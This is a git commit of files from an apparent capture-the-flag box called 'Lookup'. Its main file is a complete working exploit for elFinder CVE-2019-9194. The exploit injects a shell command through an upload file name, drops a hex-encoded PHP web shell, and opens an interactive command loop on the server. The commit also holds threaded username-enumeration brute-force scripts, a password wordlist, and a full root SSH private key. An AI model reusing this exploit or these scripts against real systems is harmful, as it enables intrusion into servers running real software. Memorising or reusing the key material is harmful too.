initial commit

CTF/Lookup/elfinder.py

@@ -0,0 +1,108 @@
+#!/usr/bin/python
+
+'''
+# Exploit Title: elFinder <= 2.1.47 - Command Injection vulnerability in the PHP connector.
+# Date: 26/02/2019
+# Exploit Author: @q3rv0
+# Vulnerability reported by: Thomas Chauchefoin
+# Google Dork: intitle:"elFinder 2.1.x"
+# Vendor Homepage: https://studio-42.github.io/elFinder/
+# Software Link: https://github.com/Studio-42/elFinder/archive/2.1.47.tar.gz
+# Version: <= 2.1.47
+# Tested on: Linux 64bit + Python2.7
+# PoC: https://www.secsignal.org/news/cve-2019-9194-triggering-and-exploiting-a-1-day-vulnerability/
+# CVE: CVE-2019-9194
+
+# Usage: python exploit.py [URL]
+
+'''
+
+import requests
+
+import json
+
+import sys
+
+
+payload = 'SecSignal.jpg;echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > SecSignal.php;echo SecSignal.jpg'
+
+
+def usage():
+
+    if len(sys.argv) != 2:
+
+        print "Usage: python exploit.py [URL]"
+
+        sys.exit(0)
+
+
+def upload(url, payload):
+
+    files = {'upload[]': (payload, open('SecSignal.jpg', 'rb'))}
+
+    data = {"reqid" : "1693222c439f4", "cmd" : "upload", "target" : "l1_Lw", "mtime[]" : "1497726174"}
+
+    r = requests.post("%s/php/connector.minimal.php" % url, files=files, data=data)
+
+    j = json.loads(r.text)
+
+    return j['added'][0]['hash']
+
+
+def imgRotate(url, hash):
+
+    r = requests.get("%s/php/connector.minimal.php?target=%s&width=539&height=960&degree=180&quality=100&bg=&mode=rotate&cmd=resize&reqid=169323550af10c" % (url, hash))
+
+    return r.text
+
+
+def shell(url):
+
+    r = requests.get("%s/php/SecSignal.php" % url)
+
+    if r.status_code == 200:
+
+       print "[+] Pwned! :)"
+
+       print "[+] Getting the shell..."
+
+       while 1:
+
+           try:
+
+               input = raw_input("$ ")
+
+               r = requests.get("%s/php/SecSignal.php?c=%s" % (url, input))
+
+               print r.text
+
+           except KeyboardInterrupt:
+
+               sys.exit("\nBye kaker!")
+
+    else:
+
+        print "[*] The site seems not to be vulnerable :("
+
+
+def main():
+
+    usage()
+
+    url = sys.argv[1]
+
+    print "[*] Uploading the malicious image..."
+
+    hash = upload(url, payload)
+
+    print "[*] Running the payload..."
+
+    imgRotate(url, hash)
+
+    shell(url)
+
+
+if __name__ == "__main__":
+
+    main()
+            

CTF/Lookup/list.txt

@@ -0,0 +1,51 @@
+[!] Running 'id' command to extract the username and user ID (UID)
+[!] ID: think
+jose1006
+jose1004
+jose1002
+jose1001teles
+jose100190
+jose10001
+jose10.asd
+jose10+
+jose0_07
+jose0990
+jose0986$
+jose098130443
+jose0981
+jose0924
+jose0923
+jose0921
+thepassword
+jose(1993)
+jose'sbabygurl
+jose&vane
+jose&takie
+jose&samantha
+jose&pam
+jose&jlo
+jose&jessica
+jose&jessi
+josemario.AKA(think)
+jose.medina.
+jose.mar
+jose.luis.24.oct
+jose.line
+jose.leonardo100
+jose.leas.30
+jose.ivan
+jose.i22
+jose.hm
+jose.hater
+jose.fa
+jose.f
+jose.dont
+jose.d
+jose.com}
+jose.com
+jose.chepe_06
+jose.a91
+jose.a
+jose.96.
+jose.9298
+jose.2856171

CTF/Lookup/root_ssh_private_key

@@ -0,0 +1,39 @@
+-----BEGIN OPENSSH PRIVATE KEY-----
+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
+-----END OPENSSH PRIVATE KEY-----
+

CTF/Lookup/username.py

@@ -0,0 +1,31 @@
+import requests
+
+
+if __name__ == '__main__':
+
+    URL = 'http://lookup.thm/login.php'
+
+    usernames = '/usr/share/seclists/Usernames/Names/names.txt'
+
+    try:
+        with open(usernames, 'r') as file:
+            print('Starting to test Usernames')
+            for line in file:
+                username = line.strip()
+
+                if not username:
+                    continue
+
+                data = {'username': username, 'password': 'password'}
+
+                response = requests.post(URL, data=data)
+
+                if 'Wrong password' in response.text:
+                    print(f"Username found: {username}")
+                elif 'Wrong username' in response.text:
+                    continue
+    except FileNotFoundError:
+        print('Error: Name list not found')
+    except requests.RequestException as e:
+        print(f"Error: An HTTP request error occured: {e}")
+

CTF/Lookup/username_threading.py

@@ -0,0 +1,45 @@
+import requests
+import concurrent.futures
+
+# Target login URL
+URL = 'http://lookup.thm/login.php'
+
+# Username list file
+USERNAMES_FILE = '/usr/share/seclists/Usernames/Names/names.txt'
+
+# Number of concurrent threads
+MAX_THREADS = 10
+
+def check_username(username):
+    """Test a username by sending a login request."""
+    try:
+        data = {'username': username, 'password': 'password'}
+        response = requests.post(URL, data=data, timeout=5)
+
+        if 'Wrong password' in response.text:
+            print(f"[VALID USERNAME] {username}")
+        elif 'Wrong username' in response.text:
+            pass  # Username does not exist
+        else:
+            print(f"[UNKNOWN RESPONSE] {username} - Check manually.")
+    except requests.RequestException as e:
+        print(f"[ERROR] Request failed for {username}: {e}")
+
+def main():
+    try:
+        with open(USERNAMES_FILE, 'r') as file:
+            usernames = [line.strip() for line in file if line.strip()]
+
+        print(f"Starting username testing with {len(usernames)} entries...")
+
+        with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
+            executor.map(check_username, usernames)
+
+    except FileNotFoundError:
+        print("[ERROR] Username list file not found.")
+    except Exception as e:
+        print(f"[ERROR] Unexpected issue: {e}")
+
+if __name__ == '__main__':
+    main()
+